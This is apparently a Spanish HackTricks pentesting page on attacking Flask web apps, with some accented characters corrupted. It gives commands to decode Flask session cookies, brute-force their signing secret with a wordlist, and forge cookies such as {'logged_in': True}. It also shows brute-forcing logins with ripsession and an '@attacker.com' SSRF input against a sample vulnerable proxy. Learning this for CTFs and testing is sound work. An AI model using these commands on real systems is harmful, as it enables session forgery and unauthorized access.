Flask

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Probablemente, si est谩s participando en un CTF, una aplicaci贸n Flask estar谩 relacionada con SSTI.

Cookies

El nombre de la sesi贸n de cookie por defecto es session.

Decoder

Decodificador de cookies Flask en l铆nea: https://www.kirsle.net/wizards/flask-session.cgi

Manual

Obt茅n la primera parte de la cookie hasta el primer punto y decodif铆calo en Base64.

bash
echo "ImhlbGxvIg" | base64 -d

La cookie tambi茅n est谩 firmada usando una contrase帽a

Flask-Unsign

Herramienta de l铆nea de comandos para obtener, decodificar, forzar por fuerza bruta y crear cookies de sesi贸n de una aplicaci贸n Flask adivinando claves secretas.

{% embed url="https://pypi.org/project/flask-unsign/" %}

bash
pip3 install flask-unsign
bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'

Fuerza Bruta

bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval

Firma

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'

Firmado usando versiones antiguas (legacy)

bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy

RIPsession

Herramienta de l铆nea de comandos para realizar ataques de fuerza bruta a sitios web utilizando cookies creadas con flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}

bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt

Este ejemplo utiliza la opci贸n eval de sqlmap para firmar autom谩ticamente las cargas 煤tiles de sqlmap para Flask usando un secreto conocido.

Proxy de Flask a SSRF

En este informe se explica c贸mo Flask permite una solicitud que comienza con el car谩cter "@":

http
GET @/ HTTP/1.1
Host: target.com
Connection: close

驴Cu谩l en el siguiente escenario:

python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)

Podr铆a permitir introducir algo como "@attacker.com" para causar un SSRF.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks